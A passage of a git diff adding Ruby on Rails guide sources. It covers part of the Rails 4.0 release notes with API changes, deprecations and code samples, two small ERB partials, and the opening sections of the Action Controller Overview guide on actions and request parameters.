+* Turn off verbose mode of <tt>rack-cache</tt>, we still have <tt>X-Rack-Cache</tt> to check that info.
+
+h5(#actiondispatch_deprecations). Deprecations
+
+h4. Action View
+
+* Remove Active Model dependency from Action Pack.
+
+* Allow to use <tt>mounted_helpers</tt> (helpers for accessing mounted engines) in <tt>ActionView::TestCase</tt>.
+
+* Make current object and counter (when it applies) variables accessible when rendering templates with <tt>:object</tt> or <tt>:collection</tt>.
+
+* Allow to lazy load +default_form_builder+ by passing a string instead of a constant.
+
+* Add index method to +FormBuilder+ class.
+
+* Adds support for layouts when rendering a partial with a given collection.
+
+* Remove <tt>:disable_with</tt> in favor of <tt>data-disable-with</tt> option from +submit_tag+, +button_tag+ and +button_to+ helpers.
+
+* Remove <tt>:mouseover</tt> option from +image_tag+ helper.
+
+* Templates without a handler extension now raises a deprecation warning but still defaults to +ERb+. In future releases, it will simply return the template content.
+
+* Add a +divider+ option to +grouped_options_for_select+ to generate a separator optgroup automatically, and deprecate prompt as third argument, in favor of using an options hash.
+
+* Add +time_field+ and +time_field_tag+ helpers which render an <tt>input[type="time"]</tt> tag.
+
+* Removed old +text_helper+ apis for +highlight+, +excerpt+ and +word_wrap+.
+
+* Remove the leading \n added by textarea on +assert_select+.
+
+* Changed default value for <tt>config.action_view.embed_authenticity_token_in_remote_forms</tt> to false. This change breaks remote forms that need to work also without JavaScript, so if you need such behavior, you can either set it to true or explicitly pass <tt>:authenticity_token => true</tt> in form options.
+
+* Make possible to use a block in +button_to+ helper if button text is hard to fit into the name parameter:
+
+<ruby>
+<%= button_to [:make_happy, @user] do %>
+  Make happy <strong><%= @user.name %></strong>
+<% end %>
+# => "<form method="post" action="/users/1/make_happy" class="button_to">
+#      <div>
+#        <button type="submit">
+#          Make happy <strong>Name</strong>
+#        </button>
+#      </div>
+#    </form>"
+</ruby>
+
+* Replace +include_seconds+ boolean argument with <tt>:include_seconds => true</tt> option in +distance_of_time_in_words+ and +time_ago_in_words+ signature.
+
+* Remove +button_to_function+ and +link_to_function+ helpers.
+
+* +truncate+ now always returns an escaped HTML-safe string. The option <tt>:escape</tt> can be used as +false+ to not escape the result.
+
+* +truncate+ now accepts a block to show extra content when the text is truncated.
+
+* Add +week_field+, +week_field_tag+, +month_field+, +month_field_tag+, +datetime_local_field+, +datetime_local_field_tag+, +datetime_field+ and +datetime_field_tag+ helpers.
+
+* Add +color_field+ and +color_field_tag+ helpers.
+
+* Add +include_hidden+ option to select tag. With <tt>:include_hidden => false</tt> select with multiple attribute doesn't generate hidden input with blank value.
+
+* Removed default size option from the +text_field+, +search_field+, +telephone_field+, +url_field+, +email_field+ helpers.
+
+* Removed default cols and rows options from the +text_area+ helper.
+
+* Adds +image_url+, +javascript_url+, +stylesheet_url+, +audio_url+, +video_url+, and +font_url+ to assets tag helper. These URL helpers will return the full path to your assets. This is useful when you are going to reference this asset from external host.
+
+* Allow +value_method+ and +text_method+ arguments from +collection_select+ and +options_from_collection_for_select+ to receive an object that responds to <tt>:call</tt> such as a proc, to evaluate the option in the current element context. This works the same way with +collection_radio_buttons+ and +collection_check_boxes+.
+
+* Add +date_field+ and +date_field_tag+ helpers which render an <tt>input[type="date"]</tt> tag.
+
+* Add +collection_check_boxes+ form helper, similar to +collection_select+:
+
+<ruby>
+collection_check_boxes :post, :author_ids, Author.all, :id, :name
+# Outputs something like:
+<input id="post_author_ids_1" name="post[author_ids][]" type="checkbox" value="1" />
+<label for="post_author_ids_1">D. Heinemeier Hansson</label>
+<input id="post_author_ids_2" name="post[author_ids][]" type="checkbox" value="2" />
+<label for="post_author_ids_2">D. Thomas</label>
+<input name="post[author_ids][]" type="hidden" value="" />
+</ruby>
+
+The label/check_box pairs can be customized with a block.
+
+* Add +collection_radio_buttons+ form helper, similar to +collection_select+:
+
+<ruby>
+collection_radio_buttons :post, :author_id, Author.all, :id, :name
+# Outputs something like:
+<input id="post_author_id_1" name="post[author_id]" type="radio" value="1" />
+<label for="post_author_id_1">D. Heinemeier Hansson</label>
+<input id="post_author_id_2" name="post[author_id]" type="radio" value="2" />
+<label for="post_author_id_2">D. Thomas</label>
+</ruby>
+
+The label/radio_button pairs can be customized with a block.
+
+* +check_box+ with an HTML5 attribute +:form+ will now replicate the +:form+ attribute to the hidden field as well.
+
+* label form helper accepts <tt>:for => nil</tt> to not generate the attribute.
+
+* Add <tt>:format</tt> option to +number_to_percentage+.
+
+* Add <tt>config.action_view.logger</tt> to configure logger for +Action View+.
+
+* +check_box+ helper with <tt>:disabled => true</tt> will generate a +disabled+ hidden field to conform with the HTML convention where disabled fields are not submitted with the form. This is a behavior change, previously the hidden tag had a value of the disabled checkbox.
+
+* +favicon_link_tag+ helper will now use the favicon in <tt>app/assets</tt> by default.
+
+* <tt>ActionView::Helpers::TextHelper#highlight</tt> now defaults to the HTML5 +mark+ element.
+
+h5(#actionview_deprecations). Deprecations
+
+h4. Sprockets
+
+Moved into a separate gem <tt>sprockets-rails</tt>.
+
+h3. Active Record
+
+* Add <tt>add_reference</tt> and <tt>remove_reference</tt> schema statements. Aliases, <tt>add_belongs_to</tt> and <tt>remove_belongs_to</tt> are acceptable. References are reversible.
+
+<ruby>
+# Create a user_id column
+add_reference(:products, :user)
+
+# Create a supplier_id, supplier_type columns and appropriate index
+add_reference(:products, :supplier, polymorphic: true, index: true)
+
+# Remove polymorphic reference
+remove_reference(:products, :supplier, polymorphic: true)
+</ruby>
+
+
+* Add <tt>:default</tt> and <tt>:null</tt> options to <tt>column_exists?</tt>.
+
+<ruby>
+column_exists?(:testings, :taggable_id, :integer, null: false)
+column_exists?(:testings, :taggable_type, :string, default: 'Photo')
+</ruby>
+
+* <tt>ActiveRecord::Relation#inspect</tt> now makes it clear that you are dealing with a <tt>Relation</tt> object rather than an array:
+
+<ruby>
+User.where(:age => 30).inspect
+# => <ActiveRecord::Relation [#<User ...>, #<User ...>]>
+
+User.where(:age => 30).to_a.inspect
+# => [#<User ...>, #<User ...>]
+</ruby>
+
+if more than 10 items are returned by the relation, inspect will only show the first 10 followed by ellipsis.
+
+* Add <tt>:collation</tt> and <tt>:ctype</tt> support to PostgreSQL. These are available for PostgreSQL 8.4 or later.
+
+<yaml>
+development:
+  adapter: postgresql
+  host: localhost
+  database: rails_development
+  username: foo
+  password: bar
+  encoding: UTF8
+  collation: ja_JP.UTF8
+  ctype: ja_JP.UTF8
+</yaml>
+
+* <tt>FinderMethods#exists?</tt> now returns <tt>false</tt> with the <tt>false</tt> argument.
+
+* Added support for specifying the precision of a timestamp in the postgresql adapter. So, instead of having to incorrectly specify the precision using the <tt>:limit</tt> option, you may use <tt>:precision</tt>, as intended. For example, in a migration:
+
+<ruby>
+def change
+  create_table :foobars do |t|
+    t.timestamps :precision => 0
+  end
+end
+</ruby>
+
+* Allow <tt>ActiveRecord::Relation#pluck</tt> to accept multiple columns. Returns an array of arrays containing the typecasted values:
+
+<ruby>
+Person.pluck(:id, :name)
+# SELECT people.id, people.name FROM people
+# => [[1, 'David'], [2, 'Jeremy'], [3, 'Jose']]
+</ruby>
+
+* Improve the derivation of HABTM join table name to take account of nesting. It now takes the table names of the two models, sorts them lexically and then joins them, stripping any common prefix from the second table name. Some examples:
+
+<plain>
+Top level models (Category <=> Product)
+Old: categories_products
+New: categories_products
+
+Top level models with a global table_name_prefix (Category <=> Product)
+Old: site_categories_products
+New: site_categories_products
+
+Nested models in a module without a table_name_prefix method (Admin::Category <=> Admin::Product)
+Old: categories_products
+New: categories_products
+
+Nested models in a module with a table_name_prefix method (Admin::Category <=> Admin::Product)
+Old: categories_products
+New: admin_categories_products
+
+Nested models in a parent model (Catalog::Category <=> Catalog::Product)
+Old: categories_products
+New: catalog_categories_products
+
+Nested models in different parent models (Catalog::Category <=> Content::Page)
+Old: categories_pages
+New: catalog_categories_content_pages
+</plain>
+
+* Move HABTM validity checks to <tt>ActiveRecord::Reflection</tt>. One side effect of this is to move when the exceptions are raised from the point of declaration to when the association is built. This is consistant with other association validity checks.
+
+* Added <tt>stored_attributes</tt> hash which contains the attributes stored using <tt>ActiveRecord::Store</tt>. This allows you to retrieve the list of attributes you've defined.
+
+<ruby>
+class User < ActiveRecord::Base
+  store :settings, accessors: [:color, :homepage]
+end
+
+User.stored_attributes[:settings] # [:color, :homepage]
+</ruby>
+
+* <tt>composed_of</tt> was removed. You'll have to write your own accessor and mutator methods if you'd like to use value objects to represent some portion of your models. So, instead of:
+
+<ruby>
+class Person < ActiveRecord::Base
+  composed_of :address, :mapping => [ %w(address_street street), %w(address_city city) ]
+end
+</ruby>
+
+you could write something like this:
+
+<ruby>
+def address
+  @address ||= Address.new(address_street, address_city)
+end
+
+def address=(address)
+  self[:address_street] = @address.street
+  self[:address_city]   = @address.city
+
+  @address = address
+end
+</ruby>
+
+* PostgreSQL default log level is now 'warning', to bypass the noisy notice messages. You can change the log level using the <tt>min_messages</tt> option available in your <tt>config/database.yml</tt>.
+
+* Add uuid datatype support to PostgreSQL adapter.
+
+* <tt>update_attribute</tt> has been removed. Use <tt>update_column</tt> if you want to bypass mass-assignment protection, validations, callbacks, and touching of updated_at. Otherwise please use <tt>update_attributes</tt>.
+
+* Added <tt>ActiveRecord::Migration.check_pending!</tt> that raises an error if migrations are pending.
+
+* Added <tt>#destroy!</tt> which acts like <tt>#destroy</tt> but will raise an <tt>ActiveRecord::RecordNotDestroyed</tt> exception instead of returning <tt>false</tt>.
+
+* Allow blocks for count with <tt>ActiveRecord::Relation</tt>, to work similar as <tt>Array#count</tt>: <tt>Person.where("age > 26").count { |person| person.gender == 'female' }</tt>
+
+* Added support to <tt>CollectionAssociation#delete</tt> for passing fixnum or string values as record ids. This finds the records responding to the ids and deletes them.
+
+<ruby>
+class Person < ActiveRecord::Base
+  has_many :pets
+end
+
+person.pets.delete("1")  # => [#<Pet id: 1>]
+person.pets.delete(2, 3) # => [#<Pet id: 2>, #<Pet id: 3>]
+</ruby>
+
+* It's not possible anymore to destroy a model marked as read only.
+
+* Added ability to <tt>ActiveRecord::Relation#from</tt> to accept other <tt>ActiveRecord::Relation</tt> objects.
+
+* Added custom coders support for <tt>ActiveRecord::Store</tt>. Now you can set your custom coder like this:
+
+<ruby>store :settings, accessors: [ :color, :homepage ], coder: JSON</ruby>
+
+* +mysql+ and +mysql2+ connections will set <tt>SQL_MODE=STRICT_ALL_TABLES</tt> by default to avoid silent data loss. This can be disabled by specifying <tt>strict: false</tt> in <tt>config/database.yml</tt>.
+
+* Added default order to <tt>ActiveRecord::Base#first</tt> to assure consistent results among diferent database engines. Introduced <tt>ActiveRecord::Base#take</tt> as a replacement to the old behavior.
+
+* Added an <tt>:index</tt> option to automatically create indexes for +references+ and +belongs_to+ statements in migrations. This can be either a boolean or a hash that is identical to options available to the +add_index+ method:
+
+<ruby>
+create_table :messages do |t|
+  t.references :person, :index => true
+end
+</ruby>
+
+Is the same as:
+
+<ruby>
+create_table :messages do |t|
+  t.references :person
+end
+add_index :messages, :person_id
+</ruby>
+
+Generators have also been updated to use the new syntax.
+
+* Added bang methods for mutating <tt>ActiveRecord::Relation</tt> objects. For example, while <tt>foo.where(:bar)</tt> will return a new object leaving foo unchanged, <tt>foo.where!(:bar)</tt> will mutate the foo object.
+
+* Added <tt>#find_by</tt> and <tt>#find_by!</tt> to mirror the functionality provided by dynamic finders in a way that allows dynamic input more easily:
+
+<ruby>
+Post.find_by name: 'Spartacus', rating: 4
+Post.find_by "published_at < ?", 2.weeks.ago
+Post.find_by! name: 'Spartacus'
+</ruby>
+
+* Added <tt>ActiveRecord::Base#slice</tt> to return a hash of the given methods with their names as keys and returned values as values.
+
+* Remove IdentityMap - IdentityMap has never graduated to be an "enabled-by-default" feature, due to some inconsistencies with associations, as described in this "commit":https://github.com/rails/rails/commit/302c912bf6bcd0fa200d964ec2dc4a44abe328a6. Hence the removal from the codebase, until such issues are fixed.
+
+* Added a feature to dump/load internal state of +SchemaCache+ instance because we want to boot more quickly when we have many models.
+
+<ruby>
+# execute rake task.
+RAILS_ENV=production bundle exec rake db:schema:cache:dump
+=> generate db/schema_cache.dump
+
+# add config.use_schema_cache_dump = true in config/production.rb. BTW, true is default.
+
+# boot rails.
+RAILS_ENV=production bundle exec rails server
+=> use db/schema_cache.dump
+
+# If you remove clear dumped cache, execute rake task.
+RAILS_ENV=production bundle exec rake db:schema:cache:clear
+=> remove db/schema_cache.dump
+</ruby>
+
+* Added support for partial indices to +PostgreSQL+ adapter.
+
+* The +add_index+ method now supports a +where+ option that receives a string with the partial index criteria.
+
+* Added the <tt>ActiveRecord::NullRelation</tt> class implementing the null object pattern for the Relation class.
+
+* Implemented <tt>ActiveRecord::Relation#none</tt> method which returns a chainable relation with zero records (an instance of the +NullRelation+ class). Any subsequent condition chained to the returned relation will continue generating an empty relation and will not fire any query to the database.
+
+* Added +create_join_table+ migration helper to create HABTM join tables.
+
+<ruby>
+create_join_table :products, :categories
+# =>
+# create_table :categories_products, :id => false do |td|
+#   td.integer :product_id, :null => false
+#   td.integer :category_id, :null => false
+# end
+</ruby>
+
+* The primary key is always initialized in the +@attributes+ hash to nil (unless another value has been specified).
+
+* In previous releases, the following would generate a single query with an OUTER JOIN comments, rather than two separate queries:
+
+<ruby>Post.includes(:comments).where("comments.name = 'foo'")</ruby>
+
+This behaviour relies on matching SQL string, which is an inherently flawed idea unless we write an SQL parser, which we do not wish to do. Therefore, it is now deprecated.
+
+To avoid deprecation warnings and for future compatibility, you must explicitly state which tables you reference, when using SQL snippets:
+
+<ruby>Post.includes(:comments).where("comments.name = 'foo'").references(:comments)</ruby>
+
+Note that you do not need to explicitly specify references in the following cases, as they can be automatically inferred:
+
+<ruby>
+Post.where(comments: { name: 'foo' })
+Post.where('comments.name' => 'foo')
+Post.order('comments.name')
+</ruby>
+
+You also do not need to worry about this unless you are doing eager loading. Basically, don't worry unless you see a deprecation warning or (in future releases) an SQL error due to a missing JOIN.
+
+* Support for the +schema_info+ table has been dropped. Please switch to +schema_migrations+.
+
+* Connections *must* be closed at the end of a thread. If not, your connection pool can fill and an exception will be raised.
+
+* Added the <tt>ActiveRecord::Model</tt> module which can be included in a class as an alternative to inheriting from <tt>ActiveRecord::Base</tt>:
+
+<ruby>
+class Post
+  include ActiveRecord::Model
+end
+</ruby>
+
+* PostgreSQL hstore records can be created.
+
+* PostgreSQL hstore types are automatically deserialized from the database.
+
+h4(#activerecord_deprecations). Deprecations
+
+* Deprecated most of the 'dynamic finder' methods. All dynamic methods except for +find_by_...+ and +find_by_...!+ are deprecated. Here's how you can rewrite the code:
+
+<ruby>
+find_all_by_... can be rewritten using where(...)
+find_last_by_... can be rewritten using where(...).last
+scoped_by_... can be rewritten using where(...)
+find_or_initialize_by_... can be rewritten using where(...).first_or_initialize
+find_or_create_by_... can be rewritten using where(...).first_or_create
+find_or_create_by_...! can be rewritten using where(...).first_or_create!
+</ruby>
+
+The implementation of the deprecated dynamic finders has been moved to the +active_record_deprecated_finders+ gem.
+
+* Deprecated the old-style hash based finder API. This means that methods which previously accepted "finder options" no longer do. For example this:
+
+<ruby>Post.find(:all, :conditions => { :comments_count => 10 }, :limit => 5)</ruby>
+
+should be rewritten in the new style which has existed since Rails 3:
+
+<ruby>Post.where(comments_count: 10).limit(5)</ruby>
+
+Note that as an interim step, it is possible to rewrite the above as:
+
+<ruby>Post.scoped(:where => { :comments_count => 10 }, :limit => 5)</ruby>
+
+This could save you a lot of work if there is a lot of old-style finder usage in your application.
+
+Calling <tt>Post.scoped(options)</tt> is a shortcut for <tt>Post.scoped.merge(options)</tt>. <tt>Relation#merge</tt> now accepts a hash of options, but they must be identical to the names of the equivalent finder method. These are mostly identical to the old-style finder option names, except in the following cases:
+
+<plain>
+:conditions becomes :where
+:include becomes :includes
+:extend becomes :extending
+</plain>
+
+The code to implement the deprecated features has been moved out to the +active_record_deprecated_finders+ gem. This gem is a dependency of Active Record in Rails 4.0. It will no longer be a dependency from Rails 4.1, but if your app relies on the deprecated features then you can add it to your own Gemfile. It will be maintained by the Rails core team until Rails 5.0 is released.
+
+* Deprecate eager-evaluated scopes.
+
+  Don't use this:
+
+<ruby>
+scope :red, where(color: 'red')
+default_scope where(color: 'red')
+</ruby>
+
+  Use this:
+
+<ruby>
+scope :red, -> { where(color: 'red') }
+default_scope { where(color: 'red') }
+</ruby>
+
+  The former has numerous issues. It is a common newbie gotcha to do the following:
+
+<ruby>
+scope :recent, where(published_at: Time.now - 2.weeks)
+</ruby>
+
+  Or a more subtle variant:
+
+<ruby>
+scope :recent, -> { where(published_at: Time.now - 2.weeks) }
+scope :recent_red, recent.where(color: 'red')
+</ruby>
+
+  Eager scopes are also very complex to implement within Active Record, and there are still bugs. For example, the following does not do what you expect:
+
+<ruby>
+scope :remove_conditions, except(:where)
+where(...).remove_conditions # => still has conditions
+</ruby>
+
+* Added deprecation for the :dependent => :restrict association option.
+
+* Up until now has_many and has_one, :dependent => :restrict option raised a DeleteRestrictionError at the time of destroying the object. Instead, it will add an error on the model.
+
+* To fix this warning, make sure your code isn't relying on a DeleteRestrictionError and then add config.active_record.dependent_restrict_raises = false to your application config.
+
+* New rails application would be generated with the config.active_record.dependent_restrict_raises = false in the application config.
+
+* The migration generator now creates a join table with (commented) indexes every time the migration name contains the word "join_table".
+
+h3. Active Model
+
+* Changed <tt>AM::Serializers::JSON.include_root_in_json</tt> default value to false. Now, AM Serializers and AR objects have the same default behaviour.
+
+<ruby>
+class User < ActiveRecord::Base; end
+
+class Person
+  include ActiveModel::Model
+  include ActiveModel::AttributeMethods
+  include ActiveModel::Serializers::JSON
+
+  attr_accessor :name, :age
+
+  def attributes
+    instance_values
+  end
+end
+
+user.as_json
+=> {"id"=>1, "name"=>"Konata Izumi", "age"=>16, "awesome"=>true}
+# root is not included
+
+person.as_json
+=> {"name"=>"Francesco", "age"=>22}
+# root is not included
+</ruby>
+
+* Passing false hash values to +validates+ will no longer enable the corresponding validators.
+
+* +ConfirmationValidator+ error messages will attach to <tt>:#{attribute}_confirmation</tt> instead of +attribute+.
+
+* Added <tt>ActiveModel::Model</tt>, a mixin to make Ruby objects work with Action Pack out of the box.
+
+* <tt>ActiveModel::Errors#to_json</tt> supports a new parameter <tt>:full_messages</tt>.
+
+* Trims down the API by removing <tt>valid?</tt> and <tt>errors.full_messages</tt>.
+
+h4(#activemodel_deprecations). Deprecations
+
+h3. Active Resource
+
+* Active Resource is removed from Rails 4.0 and is now a separate "gem":https://github.com/rails/activeresource.
+
+h3. Active Support
+
+* Add default values to all <tt>ActiveSupport::NumberHelper</tt> methods, to avoid errors with empty locales or missing values.
+
+* <tt>Time#change</tt> now works with time values with offsets other than UTC or the local time zone.
+
+* Add <tt>Time#prev_quarter</tt> and <tt>Time#next_quarter</tt> short-hands for <tt>months_ago(3)</tt> and <tt>months_since(3)</tt>.
+
+* Remove obsolete and unused <tt>require_association</tt> method from dependencies.
+
+* Add <tt>:instance_accessor</tt> option for <tt>config_accessor</tt>.
+
+<ruby>
+class User
+  include ActiveSupport::Configurable
+  config_accessor :allowed_access, instance_accessor: false
+end
+
+User.new.allowed_access = true # => NoMethodError
+User.new.allowed_access        # => NoMethodError
+</ruby>
+
+* <tt>ActionView::Helpers::NumberHelper</tt> methods have been moved to <tt>ActiveSupport::NumberHelper</tt> and are now available via <tt>Numeric#to_s</tt>.
+
+* <tt>Numeric#to_s</tt> now accepts the formatting options :phone, :currency, :percentage, :delimited, :rounded, :human, and :human_size.
+
+* Add <tt>Hash#transform_keys</tt>, <tt>Hash#transform_keys!</tt>, <tt>Hash#deep_transform_keys</tt> and <tt>Hash#deep_transform_keys!</tt>.
+
+* Changed xml type datetime to dateTime (with upper case letter T).
+
+* Add <tt>:instance_accessor</tt> option for <tt>class_attribute</tt>.
+
+* +constantize+ now looks in the ancestor chain.
+
+* Add <tt>Hash#deep_stringify_keys</tt> and <tt>Hash#deep_stringify_keys!</tt> to convert all keys from a +Hash+ instance into strings.
+
+* Add <tt>Hash#deep_symbolize_keys</tt> and <tt>Hash#deep_symbolize_keys!</tt> to convert all keys from a +Hash+ instance into symbols.
+
+* <tt>Object#try</tt> can't call private methods.
+
+* AS::Callbacks#run_callbacks remove key argument.
+
+* +deep_dup+ works more expectedly now and duplicates also values in +Hash+ instances and elements in +Array+ instances.
+
+* Inflector no longer applies ice -> ouse to words like slice, police.
+
+* Add <tt>ActiveSupport::Deprecations.behavior = :silence</tt> to completely ignore Rails runtime deprecations.
+
+* Make <tt>Module#delegate</tt> stop using send - can no longer delegate to private methods.
+
+* AS::Callbacks deprecate :rescuable option.
+
+* Adds <tt>Integer#ordinal</tt> to get the ordinal suffix string of an integer.
+
+* AS::Callbacks :per_key option is no longer supported.
+
+* AS::Callbacks#define_callbacks add :skip_after_callbacks_if_terminated option.
+
+* Add html_escape_once to ERB::Util, and delegate escape_once tag helper to it.
+
+* Remove <tt>ActiveSupport::TestCase#pending</tt> method, use +skip+ instead.
+
+* Deletes the compatibility method <tt>Module#method_names</tt>, use <tt>Module#methods</tt> from now on (which returns symbols).
+
+* Deletes the compatibility method <tt>Module#instance_method_names</tt>, use <tt>Module#instance_methods</tt> from now on (which returns symbols).
+
+* Unicode database updated to 6.1.0.
+
+* Adds +encode_big_decimal_as_string+ option to force JSON serialization of BigDecimals as numeric instead of wrapping them in strings for safety.
+
+h4(#activesupport_deprecations). Deprecations
+
+* <tt>ActiveSupport::Callbacks</tt>: deprecate usage of filter object with <tt>#before</tt> and <tt>#after</tt> methods as <tt>around</tt> callback.
+
+* <tt>BufferedLogger</tt> is deprecated.  Use <tt>ActiveSupport::Logger</tt> or the +logger+ from Ruby stdlib.
+
+* Deprecates the compatibility method <tt>Module#local_constant_names</tt> and use <tt>Module#local_constants</tt> instead (which returns symbols).
+
+h3. Credits
+
+See the "full list of contributors to Rails":http://contributors.rubyonrails.org/ for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.
diff --git a/guides/source/_license.html.erb b/guides/source/_license.html.erb
new file mode 100644
index 0000000000..00b4466f50
--- /dev/null
+++ b/guides/source/_license.html.erb
@@ -0,0 +1,2 @@
+<p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
+<p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
diff --git a/guides/source/_welcome.html.erb b/guides/source/_welcome.html.erb
new file mode 100644
index 0000000000..9d2e9c1d68
--- /dev/null
+++ b/guides/source/_welcome.html.erb
@@ -0,0 +1,19 @@
+<h2>Ruby on Rails Guides (<%= @version %>)</h2>
+
+<% if @edge %>
+<p>
+  These are <b>Edge Guides</b>, based on the current <a href="https://github.com/rails/rails/tree/<%= @version %>">master</a> branch.
+</p>
+<p>
+  If you are looking for the ones for the stable version, please check
+  <a href="http://guides.rubyonrails.org">http://guides.rubyonrails.org</a> instead.
+</p>
+<% else %>
+<p>
+  These are the new guides for Rails 3.2 based on <a href="https://github.com/rails/rails/tree/<%= @version %>"><%= @version %></a>.
+  These guides are designed to make you immediately productive with Rails, and to help you understand how all of the pieces fit together.
+</p>
+<% end %>
+<p>
+  The guides for Rails 2.3.x are available at <a href="http://guides.rubyonrails.org/v2.3.11/">http://guides.rubyonrails.org/v2.3.11/</a>.
+</p>
diff --git a/guides/source/action_controller_overview.textile b/guides/source/action_controller_overview.textile
new file mode 100644
index 0000000000..3c828735ae
--- /dev/null
+++ b/guides/source/action_controller_overview.textile
@@ -0,0 +1,820 @@
+h2. Action Controller Overview
+
+In this guide you will learn how controllers work and how they fit into the request cycle in your application. After reading this guide, you will be able to:
+
+* Follow the flow of a request through a controller
+* Understand why and how to store data in the session or cookies
+* Work with filters to execute code during request processing
+* Use Action Controller's built-in HTTP authentication
+* Stream data directly to the user's browser
+* Filter sensitive parameters so they do not appear in the application's log
+* Deal with exceptions that may be raised during request processing
+
+endprologue.
+
+h3. What Does a Controller Do?
+
+Action Controller is the C in MVC. After routing has determined which controller to use for a request, your controller is responsible for making sense of the request and producing the appropriate output. Luckily, Action Controller does most of the groundwork for you and uses smart conventions to make this as straightforward as possible.
+
+For most conventional "RESTful":http://en.wikipedia.org/wiki/Representational_state_transfer applications, the controller will receive the request (this is invisible to you as the developer), fetch or save data from a model and use a view to create HTML output. If your controller needs to do things a little differently, that's not a problem, this is just the most common way for a controller to work.
+
+A controller can thus be thought of as a middle man between models and views. It makes the model data available to the view so it can display that data to the user, and it saves or updates data from the user to the model.
+
+NOTE: For more details on the routing process, see "Rails Routing from the Outside In":routing.html.
+
+h3. Methods and Actions
+
+A controller is a Ruby class which inherits from +ApplicationController+ and has methods just like any other class. When your application receives a request, the routing will determine which controller and action to run, then Rails creates an instance of that controller and runs the method with the same name as the action.
+
+<ruby>
+class ClientsController < ApplicationController
+  def new
+  end
+end
+</ruby>
+
+As an example, if a user goes to +/clients/new+ in your application to add a new client, Rails will create an instance of +ClientsController+ and run the +new+ method. Note that the empty method from the example above could work just fine because Rails will by default render the +new.html.erb+ view unless the action says otherwise. The +new+ method could make available to the view a +@client+ instance variable by creating a new +Client+:
+
+<ruby>
+def new
+  @client = Client.new
+end
+</ruby>
+
+The "Layouts & Rendering Guide":layouts_and_rendering.html explains this in more detail.
+
++ApplicationController+ inherits from +ActionController::Base+, which defines a number of helpful methods. This guide will cover some of these, but if you're curious to see what's in there, you can see all of them in the API documentation or in the source itself.
+
+Only public methods are callable as actions. It is a best practice to lower the visibility of methods which are not intended to be actions, like auxiliary methods or filters.
+
+h3. Parameters
+
+You will probably want to access data sent in by the user or other parameters in your controller actions. There are two kinds of parameters possible in a web application. The first are parameters that are sent as part of the URL, called query string parameters. The query string is everything after "?" in the URL. The second type of parameter is usually referred to as POST data. This information usually comes from an HTML form which has been filled in by the user. It's called POST data because it can only be sent as part of an HTTP POST request. Rails does not make any distinction between query string parameters and POST parameters, and both are available in the +params+ hash in your controller:
+
+<ruby>
+class ClientsController < ActionController::Base
+  # This action uses query string parameters because it gets run
+  # by an HTTP GET request, but this does not make any difference
+  # to the way in which the parameters are accessed. The URL for
+  # this action would look like this in order to list activated
+  # clients: /clients?status=activated
+  def index
+    if params[:status] == "activated"
+      @clients = Client.activated
+    else
+      @clients = Client.unactivated
+    end
+  end
+
+  # This action uses POST parameters. They are most likely coming
+  # from an HTML form which the user has submitted. The URL for
+  # this RESTful request will be "/clients", and the data will be
+  # sent as part of the request body.
+  def create
+    @client = Client.new(params[:client])
+    if @client.save
+      redirect_to @client
+    else
+      # This line overrides the default rendering behavior, which
+      # would have been to render the "create" view.
+      render :action => "new"
+    end
+  end
+end
+</ruby>
+
+h4. Hash and Array Parameters
+
+The +params+ hash is not limited to one-dimensional keys and values. It can contain arrays and (nested) hashes. To send an array of values, append an empty pair of square brackets "[]" to the key name:
+
+<pre>
+GET /clients?ids[]=1&ids[]=2&ids[]=3
+</pre>
+
+NOTE: The actual URL in this example will be encoded as "/clients?ids%5b%5d=1&ids%5b%5d=2&ids%5b%5d=3" as "[" and "]" are not allowed in URLs. Most of the time you don't have to worry about this because the browser will take care of it for you, and Rails will decode it back when it receives it, but if you ever find yourself having to send those requests to the server manually you have to keep this in mind.
+
+The value of +params[:ids]+ will now be +["1", "2", "3"]+. Note that parameter values are always strings; Rails makes no attempt to guess or cast the type.
+
+To send a hash you include the key name inside the brackets:
+
+<html>
+<form accept-charset="UTF-8" action="/clients" method="post">
+  <input type="text" name="client[name]" value="Acme" />
+  <input type="text" name="client[phone]" value="12345" />
+  <input type="text" name="client[address][postcode]" value="12345" />
+  <input type="text" name="client[address][city]" value="Carrot City" />
+</form>
+</html>
+
+When this form is submitted, the value of +params[:client]+ will be <tt>{"name" => "Acme", "phone" => "12345", "address" => {"postcode" => "12345", "city" => "Carrot City"}}</tt>. Note the nested hash in +params[:client][:address]+.
+
+Note that the +params+ hash is actually an instance of +HashWithIndifferentAccess+ from Active Support, which acts like a hash that lets you use symbols and strings interchangeably as keys.
+
+h4. JSON/XML parameters
+
+If you're writing a web service application, you might find yourself more comfortable on accepting parameters in JSON or XML format. Rails will automatically convert your parameters into +params+ hash, which you'll be able to access like you would normally do with form data.
+
+So for example, if you are sending this JSON parameter:
+
+<pre>
+{ "company": { "name": "acme", "address": "123 Carrot Street" } }
+</pre>
+
+You'll get <tt>params[:company]</tt> as <tt>{ :name => "acme", "address" => "123 Carrot Street" }</tt>.
+
+Also, if you've turned on +config.wrap_parameters+ in your initializer or calling +wrap_parameters+ in your controller, you can safely omit the root element in the JSON/XML parameter. The parameters will be cloned and wrapped in the key according to your controller's name by default. So the above parameter can be written as:
+
+<pre>
+{ "name": "acme", "address": "123 Carrot Street" }
+</pre>
+
+And assume that you're sending the data to +CompaniesController+, it would then be wrapped in +:company+ key like this:
+
+<ruby>
+{ :name => "acme", :address => "123 Carrot Street", :company => { :name => "acme", :address => "123 Carrot Street" }}
+</ruby>
+
+You can customize the name of the key or specific parameters you want to wrap by consulting the "API documentation":http://api.rubyonrails.org/classes/ActionController/ParamsWrapper.html
+
+h4. Routing Parameters
+
+The +params+ hash will always contain the +:controller+ and +:action+ keys, but you should use the methods +controller_name+ and +action_name+ instead to access these values. Any other parameters defined by the routing, such as +:id+ will also be available. As an example, consider a listing of clients where the list can show either active or inactive clients. We can add a route which captures the +:status+ parameter in a "pretty" URL:
+
+<ruby>
+match '/clients/:status' => 'clients#index', :foo => "bar"
+</ruby>
+
+In this case, when a user opens the URL +/clients/active+, +params[:status]+ will be set to "active". When this route is used, +params[:foo]+ will also be set to "bar" just like it was passed in the query string. In the same way +params[:action]+ will contain "index".
+
+h4. +default_url_options+
+
+You can set global default parameters for URL generation by defining a method called +default_url_options+ in your controller. Such a method must return a hash with the desired defaults, whose keys must be symbols:
+
